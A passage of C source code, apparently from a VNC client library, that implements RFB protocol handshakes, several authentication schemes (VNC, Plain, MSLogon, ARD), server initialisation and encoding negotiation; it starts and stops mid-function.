(!ReadFromRFBServer(client, reason, reasonLen)) { free(reason); return FALSE; } reason[reasonLen]=0; rfbClientLog("VNC connection failed: %s\n",reason); free(reason); return FALSE; } rfbClientLog("VNC authentication failed\n"); return FALSE; case rfbVncAuthTooMany: rfbClientLog("VNC authentication failed - too many tries\n"); return FALSE; } rfbClientLog("Unknown VNC authentication result: %d\n", (int)authResult); return FALSE; } static void ReadReason(rfbClient* client) { uint32_t reasonLen; char *reason; /* we have an error following */ if (!ReadFromRFBServer(client, (char *)&reasonLen, 4)) return; reasonLen = rfbClientSwap32IfLE(reasonLen); reason = malloc((uint64_t)reasonLen+1); if (!ReadFromRFBServer(client, reason, reasonLen)) { free(reason); return; } reason[reasonLen]=0; rfbClientLog("VNC connection failed: %s\n",reason); free(reason); } static rfbBool ReadSupportedSecurityType(rfbClient* client, uint32_t *result, rfbBool subAuth) { uint8_t count=0; uint8_t loop=0; uint8_t flag=0; rfbBool extAuthHandler; uint8_t tAuth[256]; char buf1[500],buf2[10]; uint32_t authScheme; rfbClientProtocolExtension* e; if (!ReadFromRFBServer(client, (char *)&count, 1)) return FALSE; if (count==0) { rfbClientLog("List of security types is ZERO, expecting an error to follow\n"); ReadReason(client); return FALSE; } rfbClientLog("We have %d security types to read\n", count); authScheme=0; /* now, we have a list of available security types to read ( uint8_t[] ) */ for (loop=0;loop<count;loop++) { if (!ReadFromRFBServer(client, (char *)&tAuth[loop], 1)) return FALSE; rfbClientLog("%d) Received security type %d\n", loop, tAuth[loop]); if (flag) continue; extAuthHandler=FALSE; for (e = rfbClientExtensions; e; e = e->next) { if (!e->handleAuthentication) continue; uint32_t const* secType; for (secType = e->securityTypes; secType && *secType; secType++) { if (tAuth[loop]==*secType) { extAuthHandler=TRUE; } } } if (tAuth[loop]==rfbVncAuth || tAuth[loop]==rfbNoAuth || extAuthHandler || #if defined(LIBVNCSERVER_HAVE_GNUTLS) || defined(LIBVNCSERVER_HAVE_LIBSSL) tAuth[loop]==rfbVeNCrypt || #endif #ifdef LIBVNCSERVER_HAVE_SASL tAuth[loop]==rfbSASL || #endif /* LIBVNCSERVER_HAVE_SASL */ (tAuth[loop]==rfbARD && client->GetCredential) || (!subAuth && (tAuth[loop]==rfbTLS || (tAuth[loop]==rfbVeNCrypt && client->GetCredential)))) { if (!subAuth && client->clientAuthSchemes) { int i; for (i=0;client->clientAuthSchemes[i];i++) { if (client->clientAuthSchemes[i]==(uint32_t)tAuth[loop]) { flag++; authScheme=tAuth[loop]; break; } } } else { flag++; authScheme=tAuth[loop]; } if (flag) { rfbClientLog("Selecting security type %d (%d/%d in the list)\n", authScheme, loop, count); /* send back a single byte indicating which security type to use */ if (!WriteToRFBServer(client, (char *)&tAuth[loop], 1)) return FALSE; } } } if (authScheme==0) { memset(buf1, 0, sizeof(buf1)); for (loop=0;loop<count;loop++) { if (strlen(buf1)>=sizeof(buf1)-1) break; snprintf(buf2, sizeof(buf2), (loop>0 ? ", %d" : "%d"), (int)tAuth[loop]); strncat(buf1, buf2, sizeof(buf1)-strlen(buf1)-1); } rfbClientLog("Unknown authentication scheme from VNC server: %s\n", buf1); return FALSE; } *result = authScheme; return TRUE; } static rfbBool HandleVncAuth(rfbClient *client) { uint8_t challenge[CHALLENGESIZE]; char *passwd=NULL; int i; if (!ReadFromRFBServer(client, (char *)challenge, CHALLENGESIZE)) return FALSE; if (client->serverPort!=-1) { /* if not playing a vncrec file */ if (client->GetPassword) passwd = client->GetPassword(client); if ((!passwd) || (strlen(passwd) == 0)) { rfbClientLog("Reading password failed\n"); return FALSE; } if (strlen(passwd) > 8) { passwd[8] = '\0'; } rfbClientEncryptBytes(challenge, passwd); /* Lose the password from memory */ for (i = strlen(passwd); i >= 0; i--) { passwd[i] = '\0'; } free(passwd); if (!WriteToRFBServer(client, (char *)challenge, CHALLENGESIZE)) return FALSE; } /* Handle the SecurityResult message */ if (!rfbHandleAuthResult(client)) return FALSE; return TRUE; } static void FreeUserCredential(rfbCredential *cred) { if (cred->userCredential.username) free(cred->userCredential.username); if (cred->userCredential.password) free(cred->userCredential.password); free(cred); } static rfbBool HandlePlainAuth(rfbClient *client) { uint32_t ulen, ulensw; uint32_t plen, plensw; rfbCredential *cred; if (!client->GetCredential) { rfbClientLog("GetCredential callback is not set.\n"); return FALSE; } cred = client->GetCredential(client, rfbCredentialTypeUser); if (!cred) { rfbClientLog("Reading credential failed\n"); return FALSE; } ulen = (cred->userCredential.username ? strlen(cred->userCredential.username) : 0); ulensw = rfbClientSwap32IfLE(ulen); plen = (cred->userCredential.password ? strlen(cred->userCredential.password) : 0); plensw = rfbClientSwap32IfLE(plen); if (!WriteToRFBServer(client, (char *)&ulensw, 4) || !WriteToRFBServer(client, (char *)&plensw, 4)) { FreeUserCredential(cred); return FALSE; } if (ulen > 0) { if (!WriteToRFBServer(client, cred->userCredential.username, ulen)) { FreeUserCredential(cred); return FALSE; } } if (plen > 0) { if (!WriteToRFBServer(client, cred->userCredential.password, plen)) { FreeUserCredential(cred); return FALSE; } } FreeUserCredential(cred); /* Handle the SecurityResult message */ if (!rfbHandleAuthResult(client)) return FALSE; return TRUE; } /* Simple 64bit big integer arithmetic implementation */ /* (x + y) % m, works even if (x + y) > 64bit */ #define rfbAddM64(x,y,m) ((x+y)%m+(x+y<x?(((uint64_t)-1)%m+1)%m:0)) /* (x * y) % m */ static uint64_t rfbMulM64(uint64_t x, uint64_t y, uint64_t m) { uint64_t r; for(r=0;x>0;x>>=1) { if (x&1) r=rfbAddM64(r,y,m); y=rfbAddM64(y,y,m); } return r; } /* (x ^ y) % m */ static uint64_t rfbPowM64(uint64_t b, uint64_t e, uint64_t m) { uint64_t r; for(r=1;e>0;e>>=1) { if(e&1) r=rfbMulM64(r,b,m); b=rfbMulM64(b,b,m); } return r; } static rfbBool HandleMSLogonAuth(rfbClient *client) { uint64_t gen, mod, resp, priv, pub, key; uint8_t username[256], password[64]; rfbCredential *cred; if (!ReadFromRFBServer(client, (char *)&gen, 8)) return FALSE; if (!ReadFromRFBServer(client, (char *)&mod, 8)) return FALSE; if (!ReadFromRFBServer(client, (char *)&resp, 8)) return FALSE; gen = rfbClientSwap64IfLE(gen); mod = rfbClientSwap64IfLE(mod); resp = rfbClientSwap64IfLE(resp); if (!client->GetCredential) { rfbClientLog("GetCredential callback is not set.\n"); return FALSE; } rfbClientLog("WARNING! MSLogon security type has very low password encryption! "\ "Use it only with SSH tunnel or trusted network.\n"); cred = client->GetCredential(client, rfbCredentialTypeUser); if (!cred) { rfbClientLog("Reading credential failed\n"); return FALSE; } memset(username, 0, sizeof(username)); strncpy((char *)username, cred->userCredential.username, sizeof(username)); memset(password, 0, sizeof(password)); strncpy((char *)password, cred->userCredential.password, sizeof(password)); FreeUserCredential(cred); srand(time(NULL)); priv = ((uint64_t)rand())<<32; priv |= (uint64_t)rand(); pub = rfbPowM64(gen, priv, mod); key = rfbPowM64(resp, priv, mod); pub = rfbClientSwap64IfLE(pub); key = rfbClientSwap64IfLE(key); rfbClientEncryptBytes2(username, sizeof(username), (unsigned char *)&key); rfbClientEncryptBytes2(password, sizeof(password), (unsigned char *)&key); if (!WriteToRFBServer(client, (char *)&pub, 8)) return FALSE; if (!WriteToRFBServer(client, (char *)username, sizeof(username))) return FALSE; if (!WriteToRFBServer(client, (char *)password, sizeof(password))) return FALSE; /* Handle the SecurityResult message */ if (!rfbHandleAuthResult(client)) return FALSE; return TRUE; } #ifdef LIBVNCSERVER_WITH_CLIENT_GCRYPT static rfbBool rfbMpiToBytes(const gcry_mpi_t value, uint8_t *result, size_t size) { gcry_error_t error; size_t len; int i; error = gcry_mpi_print(GCRYMPI_FMT_USG, result, size, &len, value); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_mpi_print error: %s\n", gcry_strerror(error)); return FALSE; } for (i=size-1;i>(int)size-1-(int)len;--i) result[i] = result[i-size+len]; for (;i>=0;--i) result[i] = 0; return TRUE; } static rfbBool HandleARDAuth(rfbClient *client) { uint8_t gen[2], len[2]; size_t keylen; uint8_t *mod = NULL, *resp, *pub, *key, *shared; gcry_mpi_t genmpi = NULL, modmpi = NULL, respmpi = NULL; gcry_mpi_t privmpi = NULL, pubmpi = NULL, keympi = NULL; gcry_md_hd_t md5 = NULL; gcry_cipher_hd_t aes = NULL; gcry_error_t error; uint8_t userpass[128], ciphertext[128]; int passwordLen, usernameLen; rfbCredential *cred = NULL; rfbBool result = FALSE; if (!gcry_control(GCRYCTL_INITIALIZATION_FINISHED_P)) { /* Application did not initialize gcrypt, so we should */ if (!gcry_check_version(GCRYPT_VERSION)) { /* Older version of libgcrypt is installed on system than compiled against */ rfbClientLog("libgcrypt version mismatch.\n"); } } while (1) { if (!ReadFromRFBServer(client, (char *)gen, 2)) break; if (!ReadFromRFBServer(client, (char *)len, 2)) break; if (!client->GetCredential) { rfbClientLog("GetCredential callback is not set.\n"); break; } cred = client->GetCredential(client, rfbCredentialTypeUser); if (!cred) { rfbClientLog("Reading credential failed\n"); break; } keylen = 256*len[0]+len[1]; mod = (uint8_t*)malloc(keylen*4); if (!mod) { rfbClientLog("malloc out of memory\n"); break; } resp = mod+keylen; pub = resp+keylen; key = pub+keylen; if (!ReadFromRFBServer(client, (char *)mod, keylen)) break; if (!ReadFromRFBServer(client, (char *)resp, keylen)) break; error = gcry_mpi_scan(&genmpi, GCRYMPI_FMT_USG, gen, 2, NULL); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_mpi_scan error: %s\n", gcry_strerror(error)); break; } error = gcry_mpi_scan(&modmpi, GCRYMPI_FMT_USG, mod, keylen, NULL); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_mpi_scan error: %s\n", gcry_strerror(error)); break; } error = gcry_mpi_scan(&respmpi, GCRYMPI_FMT_USG, resp, keylen, NULL); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_mpi_scan error: %s\n", gcry_strerror(error)); break; } privmpi = gcry_mpi_new(keylen); if (!privmpi) { rfbClientLog("gcry_mpi_new out of memory\n"); break; } gcry_mpi_randomize(privmpi, (keylen/8)*8, GCRY_STRONG_RANDOM); pubmpi = gcry_mpi_new(keylen); if (!pubmpi) { rfbClientLog("gcry_mpi_new out of memory\n"); break; } gcry_mpi_powm(pubmpi, genmpi, privmpi, modmpi); keympi = gcry_mpi_new(keylen); if (!keympi) { rfbClientLog("gcry_mpi_new out of memory\n"); break; } gcry_mpi_powm(keympi, respmpi, privmpi, modmpi); if (!rfbMpiToBytes(pubmpi, pub, keylen)) break; if (!rfbMpiToBytes(keympi, key, keylen)) break; error = gcry_md_open(&md5, GCRY_MD_MD5, 0); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_md_open error: %s\n", gcry_strerror(error)); break; } gcry_md_write(md5, key, keylen); error = gcry_md_final(md5); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_md_final error: %s\n", gcry_strerror(error)); break; } shared = gcry_md_read(md5, GCRY_MD_MD5); passwordLen = strlen(cred->userCredential.password)+1; usernameLen = strlen(cred->userCredential.username)+1; if (passwordLen > sizeof(userpass)/2) passwordLen = sizeof(userpass)/2; if (usernameLen > sizeof(userpass)/2) usernameLen = sizeof(userpass)/2; gcry_randomize(userpass, sizeof(userpass), GCRY_STRONG_RANDOM); memcpy(userpass, cred->userCredential.username, usernameLen); memcpy(userpass+sizeof(userpass)/2, cred->userCredential.password, passwordLen); error = gcry_cipher_open(&aes, GCRY_CIPHER_AES128, GCRY_CIPHER_MODE_ECB, 0); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_cipher_open error: %s\n", gcry_strerror(error)); break; } error = gcry_cipher_setkey(aes, shared, 16); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_cipher_setkey error: %s\n", gcry_strerror(error)); break; } error = gcry_cipher_encrypt(aes, ciphertext, sizeof(ciphertext), userpass, sizeof(userpass)); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_cipher_encrypt error: %s\n", gcry_strerror(error)); break; } if (!WriteToRFBServer(client, (char *)ciphertext, sizeof(ciphertext))) break; if (!WriteToRFBServer(client, (char *)pub, keylen)) break; /* Handle the SecurityResult message */ if (!rfbHandleAuthResult(client)) break; result = TRUE; break; } if (cred) FreeUserCredential(cred); if (mod) free(mod); if (genmpi) gcry_mpi_release(genmpi); if (modmpi) gcry_mpi_release(modmpi); if (respmpi) gcry_mpi_release(respmpi); if (privmpi) gcry_mpi_release(privmpi); if (pubmpi) gcry_mpi_release(pubmpi); if (keympi) gcry_mpi_release(keympi); if (md5) gcry_md_close(md5); if (aes) gcry_cipher_close(aes); return result; } #endif /* * SetClientAuthSchemes. */ void SetClientAuthSchemes(rfbClient* client,const uint32_t *authSchemes, int size) { int i; if (client->clientAuthSchemes) { free(client->clientAuthSchemes); client->clientAuthSchemes = NULL; } if (authSchemes) { if (size<0) { /* If size<0 we assume the passed-in list is also 0-terminate, so we * calculate the size here */ for (size=0;authSchemes[size];size++) ; } client->clientAuthSchemes = (uint32_t*)malloc(sizeof(uint32_t)*(size+1)); for (i=0;i<size;i++) client->clientAuthSchemes[i] = authSchemes[i]; client->clientAuthSchemes[size] = 0; } } /* * InitialiseRFBConnection. */ rfbBool InitialiseRFBConnection(rfbClient* client) { rfbProtocolVersionMsg pv; int major,minor; uint32_t authScheme; uint32_t subAuthScheme; rfbClientInitMsg ci; /* if the connection is immediately closed, don't report anything, so that pmw's monitor can make test connections */ if (client->listenSpecified) errorMessageOnReadFailure = FALSE; if (!ReadFromRFBServer(client, pv, sz_rfbProtocolVersionMsg)) return FALSE; pv[sz_rfbProtocolVersionMsg]=0; errorMessageOnReadFailure = TRUE; pv[sz_rfbProtocolVersionMsg] = 0; if (sscanf(pv,rfbProtocolVersionFormat,&major,&minor) != 2) { rfbClientLog("Not a valid VNC server (%s)\n",pv); return FALSE; } DefaultSupportedMessages(client); client->major = major; client->minor = minor; /* fall back to viewer supported version */ if ((major==rfbProtocolMajorVersion) && (minor>rfbProtocolMinorVersion)) client->minor = rfbProtocolMinorVersion; /* UltraVNC uses minor codes 4 and 6 for the server */ if (major==3 && (minor==4 || minor==6)) { rfbClientLog("UltraVNC server detected, enabling UltraVNC specific messages\n",pv); DefaultSupportedMessagesUltraVNC(client); } /* UltraVNC Single Click uses minor codes 14 and 16 for the server */ if (major==3 && (minor==14 || minor==16)) { minor = minor - 10; client->minor = minor; rfbClientLog("UltraVNC Single Click server detected, enabling UltraVNC specific messages\n",pv); DefaultSupportedMessagesUltraVNC(client); } /* TightVNC uses minor codes 5 for the server */ if (major==3 && minor==5) { rfbClientLog("TightVNC server detected, enabling TightVNC specific messages\n",pv); DefaultSupportedMessagesTightVNC(client); } /* we do not support > RFB3.8 */ if ((major==3 && minor>8) || major>3) { client->major=3; client->minor=8; } rfbClientLog("VNC server supports protocol version %d.%d (viewer %d.%d)\n", major, minor, rfbProtocolMajorVersion, rfbProtocolMinorVersion); sprintf(pv,rfbProtocolVersionFormat,client->major,client->minor); if (!WriteToRFBServer(client, pv, sz_rfbProtocolVersionMsg)) return FALSE; /* 3.7 and onwards sends a # of security types first */ if (client->major==3 && client->minor > 6) { if (!ReadSupportedSecurityType(client, &authScheme, FALSE)) return FALSE; } else { if (!ReadFromRFBServer(client, (char *)&authScheme, 4)) return FALSE; authScheme = rfbClientSwap32IfLE(authScheme); } rfbClientLog("Selected Security Scheme %d\n", authScheme); client->authScheme = authScheme; switch (authScheme) { case rfbConnFailed: ReadReason(client); return FALSE; case rfbNoAuth: rfbClientLog("No authentication needed\n"); /* 3.8 and upwards sends a Security Result for rfbNoAuth */ if ((client->major==3 && client->minor > 7) || client->major>3) if (!rfbHandleAuthResult(client)) return FALSE; break; case rfbVncAuth: if (!HandleVncAuth(client)) return FALSE; break; #ifdef LIBVNCSERVER_HAVE_SASL case rfbSASL: if (!HandleSASLAuth(client)) return FALSE; break; #endif /* LIBVNCSERVER_HAVE_SASL */ case rfbMSLogon: if (!HandleMSLogonAuth(client)) return FALSE; break; case rfbARD: #ifndef LIBVNCSERVER_WITH_CLIENT_GCRYPT rfbClientLog("GCrypt support was not compiled in\n"); return FALSE; #else if (!HandleARDAuth(client)) return FALSE; #endif break; case rfbTLS: if (!HandleAnonTLSAuth(client)) return FALSE; /* After the TLS session is established, sub auth types are expected. * Note that all following reading/writing are through the TLS session from here. */ if (!ReadSupportedSecurityType(client, &subAuthScheme, TRUE)) return FALSE; client->subAuthScheme = subAuthScheme; switch (subAuthScheme) { case rfbConnFailed: ReadReason(client); return FALSE; case rfbNoAuth: rfbClientLog("No sub authentication needed\n"); /* 3.8 and upwards sends a Security Result for rfbNoAuth */ if ((client->major==3 && client->minor > 7) || client->major>3) if (!rfbHandleAuthResult(client)) return FALSE; break; case rfbVncAuth: if (!HandleVncAuth(client)) return FALSE; break; #ifdef LIBVNCSERVER_HAVE_SASL case rfbSASL: if (!HandleSASLAuth(client)) return FALSE; break; #endif /* LIBVNCSERVER_HAVE_SASL */ default: rfbClientLog("Unknown sub authentication scheme from VNC server: %d\n", (int)subAuthScheme); return FALSE; } break; case rfbVeNCrypt: if (!HandleVeNCryptAuth(client)) return FALSE; switch (client->subAuthScheme) { case rfbVeNCryptTLSNone: case rfbVeNCryptX509None: rfbClientLog("No sub authentication needed\n"); if (!rfbHandleAuthResult(client)) return FALSE; break; case rfbVeNCryptTLSVNC: case rfbVeNCryptX509VNC: if (!HandleVncAuth(client)) return FALSE; break; case rfbVeNCryptTLSPlain: case rfbVeNCryptX509Plain: if (!HandlePlainAuth(client)) return FALSE; break; #ifdef LIBVNCSERVER_HAVE_SASL case rfbVeNCryptX509SASL: case rfbVeNCryptTLSSASL: if (!HandleSASLAuth(client)) return FALSE; break; #endif /* LIBVNCSERVER_HAVE_SASL */ default: rfbClientLog("Unknown sub authentication scheme from VNC server: %d\n", client->subAuthScheme); return FALSE; } break; default: { rfbBool authHandled=FALSE; rfbClientProtocolExtension* e; for (e = rfbClientExtensions; e; e = e->next) { uint32_t const* secType; if (!e->handleAuthentication) continue; for (secType = e->securityTypes; secType && *secType; secType++) { if (authScheme==*secType) { if (!e->handleAuthentication(client, authScheme)) return FALSE; if (!rfbHandleAuthResult(client)) return FALSE; authHandled=TRUE; } } } if (authHandled) break; } rfbClientLog("Unknown authentication scheme from VNC server: %d\n", (int)authScheme); return FALSE; } ci.shared = (client->appData.shareDesktop ? 1 : 0); if (!WriteToRFBServer(client, (char *)&ci, sz_rfbClientInitMsg)) return FALSE; if (!ReadFromRFBServer(client, (char *)&client->si, sz_rfbServerInitMsg)) return FALSE; client->si.framebufferWidth = rfbClientSwap16IfLE(client->si.framebufferWidth); client->si.framebufferHeight = rfbClientSwap16IfLE(client->si.framebufferHeight); client->si.format.redMax = rfbClientSwap16IfLE(client->si.format.redMax); client->si.format.greenMax = rfbClientSwap16IfLE(client->si.format.greenMax); client->si.format.blueMax = rfbClientSwap16IfLE(client->si.format.blueMax); client->si.nameLength = rfbClientSwap32IfLE(client->si.nameLength); /* To guard against integer wrap-around, si.nameLength is cast to 64 bit */ client->desktopName = malloc((uint64_t)client->si.nameLength + 1); if (!client->desktopName) { rfbClientLog("Error allocating memory for desktop name, %lu bytes\n", (unsigned long)client->si.nameLength); return FALSE; } if (!ReadFromRFBServer(client, client->desktopName, client->si.nameLength)) return FALSE; client->desktopName[client->si.nameLength] = 0; rfbClientLog("Desktop name \"%s\"\n",client->desktopName); rfbClientLog("Connected to VNC server, using protocol version %d.%d\n", client->major, client->minor); rfbClientLog("VNC server default format:\n"); PrintPixelFormat(&client->si.format); return TRUE; } /* * SetFormatAndEncodings. */ rfbBool SetFormatAndEncodings(rfbClient* client) { rfbSetPixelFormatMsg spf; char buf[sz_rfbSetEncodingsMsg + MAX_ENCODINGS * 4]; rfbSetEncodingsMsg *se = (rfbSetEncodingsMsg *)buf; uint32_t *encs = (uint32_t *)(&buf[sz_rfbSetEncodingsMsg]); int len = 0; rfbBool requestCompressLevel = FALSE; rfbBool requestQualityLevel = FALSE; rfbBool requestLastRectEncoding = FALSE; rfbClientProtocolExtension* e; if (!SupportsClient2Server(client, rfbSetPixelFormat)) return TRUE; spf.type = rfbSetPixelFormat; spf.pad1 = 0; spf.pad2 = 0; spf.format = client->format; spf.format.redMax = rfbClientSwap16IfLE(spf.format.redMax); spf.format.greenMax = rfbClientSwap16IfLE(spf.format.greenMax); spf.format.blueMax = rfbClientSwap16IfLE(spf.format.blueMax); if (!WriteToRFBServer(client, (char *)&spf, sz_rfbSetPixelFormatMsg)) return FALSE; if (!SupportsClient2Server(client, rfbSetEncodings)) return TRUE; se->type = rfbSetEncodings; se->pad = 0; se->nEncodings = 0; if (client->appData.encodingsString) { const char *encStr = client->appData.encodingsString; int encStrLen; do { const char *nextEncStr = strchr(encStr, ' '); if (nextEncStr) { encStrLen = nextEncStr - encStr; nextEncStr++; } else { encStrLen = strlen(encStr); } if (strncasecmp(encStr,"raw",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRaw); } else if (strncasecmp(encStr,"copyrect",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCopyRect); #ifdef LIBVNCSERVER_HAVE_LIBZ #ifdef LIBVNCSERVER_HAVE_LIBJPEG } else if (strncasecmp(encStr,"tight",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingTight); requestLastRectEncoding = TRUE; if (client->appData.compressLevel >= 0 && client->appData.compressLevel <= 9) requestCompressLevel = TRUE; if (client->appData.enableJPEG) requestQualityLevel = TRUE; #endif #endif } else if (strncasecmp(encStr,"hextile",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingHextile); #ifdef LIBVNCSERVER_HAVE_LIBZ } else if (strncasecmp(encStr,"zlib",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZlib); if (client->appData.compressLevel >= 0 && client->appData.compressLevel <= 9) requestCompressLevel = TRUE; } else if (strncasecmp(encStr,"zlibhex",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZlibHex); if (client->appData.compressLevel >= 0 && client->appData.compressLevel <= 9) requestCompressLevel = TRUE; } else if (strncasecmp(encStr,"trle",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingTRLE); } else if (strncasecmp(encStr,"zrle",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZRLE); } else if (strncasecmp(encStr,"zywrle",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZYWRLE); requestQualityLevel = TRUE; #endif } else if ((strncasecmp(encStr,"ultra",encStrLen) == 0) || (strncasecmp(encStr,"ultrazip",encStrLen) == 0)) { /* There are 2 encodings used in 'ultra' */ encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingUltra); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingUltraZip); } else if (strncasecmp(encStr,"corre",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCoRRE); } else if (strncasecmp(encStr,"rre",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRRE); } else { rfbClientLog("Unknown encoding '%.*s'\n",encStrLen,encStr); } encStr = nextEncStr; } while (encStr && se->nEncodings < MAX_ENCODINGS); if (se->nEncodings < MAX_ENCODINGS && requestCompressLevel) { encs[se->nEncodings++] = rfbClientSwap32IfLE(client->appData.compressLevel + rfbEncodingCompressLevel0); } if (se->nEncodings < MAX_ENCODINGS && requestQualityLevel) { if (client->appData.qualityLevel < 0 || client->appData.qualityLevel > 9) client->appData.qualityLevel = 5; encs[se->nEncodings++] = rfbClientSwap32IfLE(client->appData.qualityLevel + rfbEncodingQualityLevel0); } } else { if (SameMachine(client->sock)) { /* TODO: if (!tunnelSpecified) { */ rfbClientLog("Same machine: preferring raw encoding\n"); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRaw); /* } else { rfbClientLog("Tunneling active: preferring tight encoding\n"); } */ } encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCopyRect); #ifdef LIBVNCSERVER_HAVE_LIBZ #ifdef LIBVNCSERVER_HAVE_LIBJPEG encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingTight); requestLastRectEncoding = TRUE; #endif #endif encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingHextile); #ifdef LIBVNCSERVER_HAVE_LIBZ encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZlib); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZRLE); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZYWRLE); #endif encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingUltra); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingUltraZip); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCoRRE); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRRE); if (client->appData.compressLevel >= 0 && client->appData.compressLevel <= 9) { encs[se->nEncodings++] = rfbClientSwap32IfLE(client->appData.compressLevel + rfbEncodingCompressLevel0); } else /* if (!tunnelSpecified) */ { /* If -tunnel option was provided, we assume that server machine is not in the local network so we use default compression level for tight encoding instead of fast compression. Thus we are requesting level 1 compression only if tunneling is not used. */ encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCompressLevel1); } if (client->appData.enableJPEG) { if (client->appData.qualityLevel < 0 || client->appData.qualityLevel > 9) client->appData.qualityLevel = 5; encs[se->nEncodings++] = rfbClientSwap32IfLE(client->appData.qualityLevel + rfbEncodingQualityLevel0); } } /* Remote Cursor Support (local to viewer) */ if (client->appData.useRemoteCursor) { if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingXCursor); if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRichCursor); if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingPointerPos); } /* Keyboard State Encodings */ if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingKeyboardLedState); /* New Frame Buffer Size */ if (se->nEncodings < MAX_ENCODINGS && client->canHandleNewFBSize) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingNewFBSize); /* Last Rect */ if (se->nEncodings < MAX_ENCODINGS && requestLastRectEncoding) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingLastRect); /* Server Capabilities */ if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingSupportedMessages); if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingSupportedEncodings); if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingServerIdentity); /* xvp */ if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingXvp); /* client extensions */ for(e = rfbClientExtensions; e; e = e->next) if(e->encodings) { int* enc; for(enc = e->encodings; *enc; enc++) if(se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(*enc); } len = sz_rfbSetEncodingsMsg + se->nEncodings * 4; se->nEncodings = rfbClientSwap16IfLE(se->nEncodings); if (!WriteToRFBServer(client, buf, len)) return FALSE; return TRUE; } /* * SendIncrementalFramebufferUpdateRequest. */ rfbBool SendIncrementalFramebufferUpdateRequest(rfbClient* client) { return SendFramebufferUpdateRequest(client, client->updateRect.x, client->updateRect.y, client->updateRect.w, client->updateRect.h, TRUE); } /* * SendFramebufferUpdateRequest. */ rfbBool SendFramebufferUpdateRequest(rfbClient* client, int x, int y, int w, int h, rfbBool incremental) { rfbFramebufferUpdateRequestMsg fur; if (!SupportsClient2Server(client, rfbFramebufferUpdateRequest)) return TRUE; fur.type = rfbFramebufferUpdateRequest; fur.incremental = incremental ? 1 : 0; fur.x = rfbClientSwap16IfLE(x); fur.y = rfbClientSwap16IfLE(y); fur.w = rfbClientSwap16IfLE(w); fur.h = rfbClientSwap16IfLE(h); if (!WriteToRFBServer(client, (char *)&fur, sz_rfbFramebufferUpdateRequestMsg)) return FALSE; return TRUE; } /* * SendScaleSetting. */ rfbBool SendScaleSetting(rfbClient* client,int scaleSetting) { rfbSetScaleMsg ssm; ssm.scale = scaleSetting; ssm.pad = 0; /* favor UltraVNC SetScale if both are supported */ if (SupportsClient2Server(client, rfbSetScale)) { ssm.type = rfbSetScale; if (!WriteToRFBServer(client, (char *)&ssm, sz_rfbSetScaleMsg)) return FALSE; } if (SupportsClient2Server(client, rfbPalmVNCSetScaleFactor)) { ssm.type = rfbPalmVNCSetScaleFactor; if (!WriteToRFBServer(client, (char *)&ssm, sz_rfbSetScaleMsg)) return FALSE; } return TRUE; } /* * TextChatFunctions (UltraVNC) * Extremely bandwidth friendly method of communicating with a user * (Think HelpDesk type applications) */ rfbBool TextChatSend(rfbClient* client, char *text) { rfbTextChatMsg chat; int count = strlen(text); if (!SupportsClient2Server(client, rfbTextChat)) return TRUE; chat.type = rfbTextChat; chat.pad1 = 0; chat.pad2 = 0; chat.length = (uint32_t)count; 